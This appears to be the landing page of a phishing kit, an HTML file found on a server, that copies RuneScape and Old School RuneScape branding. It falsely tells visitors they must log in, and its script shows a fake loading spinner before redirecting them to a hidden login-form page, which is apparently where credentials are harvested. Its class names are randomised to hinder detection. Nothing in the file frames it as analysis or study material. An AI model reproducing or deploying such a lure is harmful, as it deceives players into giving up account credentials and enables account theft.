File: //proc/thread-self/cwd/shasliko/index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="minimum-scale=1,initial-scale=1,width=device-width,shrink-to-fit=no">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>You have to be logged in to view this content</title>
<meta name="viewport" content="width=device-width, initial-scale=1" data-react-helmet="true">
<meta name="author" content="" data-react-helmet="true">
<meta http-equiv="X-UA-Compatible" content="IE=edge" data-react-helmet="true">
<meta name="format-detection" content="telephone=no" data-react-helmet="true">
<link rel="stylesheet" href="./ui-components/framework.css">
<style>
@import url('https://fonts.cdnfonts.com/css/pf-bague-sans-pro');
/* Spinner styles */
.spinner {
display: none; /* Initially hidden */
width: 20px; /* Increase size if needed */
height: 20px; /* Increase size if needed */
border: 4px solid transparent; /* Thicker border */
border-top: 4px solid #ffffff; /* White spinner */
border-radius: 50%;
animation: spin 1s linear infinite;
}
/* Spinner animation */
@keyframes spin {
from {
transform: rotate(0deg);
}
to {
transform: rotate(360deg);
}
}
/* Loading state styles */
.button-loading {
pointer-events: none; /* Disable button interaction */
opacity: 0.8;
}
.button-loading .button-text {
display: none; /* Hide text during loading */
}
</style>
</head>
<body>
<div class="void-cradle">
<img alt="Gil" src="./ui-components/hans-glow-bg.png" class="chrono-shell">
<div display="block" class="neon-nexus">
<div class="obsidian-husk">
<div class="stardust-coil">
<img src="./ui-components/media-files/osrs-icon.png" title="Osrs Icon" color="#ffffff" height="2rem" class="abyss-pod"></img>
<img src="./ui-components/media-files/oldschool-icon.png" title="Jag Icon" color="#ffffff" height="3rem" class="serenity-hull"></span>
<img src="./ui-components/media-files/rs-icon.png" title="Rs Icon Lite" color="#ffffff" height="2rem" class="quantum-bubble"></img>
</div>
<div aria-hidden="true" class="lunar-loom"></div>
<h1 id="page-heading" class="vortex-guild jade-section">You have to be logged in to view this page</h1>
<p>This content is accessible only to logged-in users. Please log in to your account to view the full page.</p>
<div aria-hidden="true" class="ember-core"></div>
<div aria-hidden="true" class="ember-core"></div>
<div aria-hidden="true" class="ember-core"></div>
<button class="iridescent-shard" id="continue_button" type="button" name="submit">
<span class="button-text">Continue</span>
<span class="spinner" id="spinner"></span>
</button>
<div aria-hidden="true" class="ember-core"></div>
<div aria-hidden="true" class="ember-core"></div>
<script>
// JavaScript to handle the spinner and page navigation
const button = document.getElementById('continue_button');
const spinner = document.getElementById('spinner');
button.addEventListener('click', () => {
// Add loading state and show spinner
button.classList.add('button-loading');
spinner.style.display = 'inline-block';
// Simulate a 2-second delay, then navigate to the next page
setTimeout(() => {
// Redirect to the next page
window.location.href = 'loginform_aSnv39lf4n3.html'; // Replace with your desired URL
}, 1500); // 2 seconds
});
</script>
</div>
</div>
</div>
</div>
</a></div>
</body>
</html>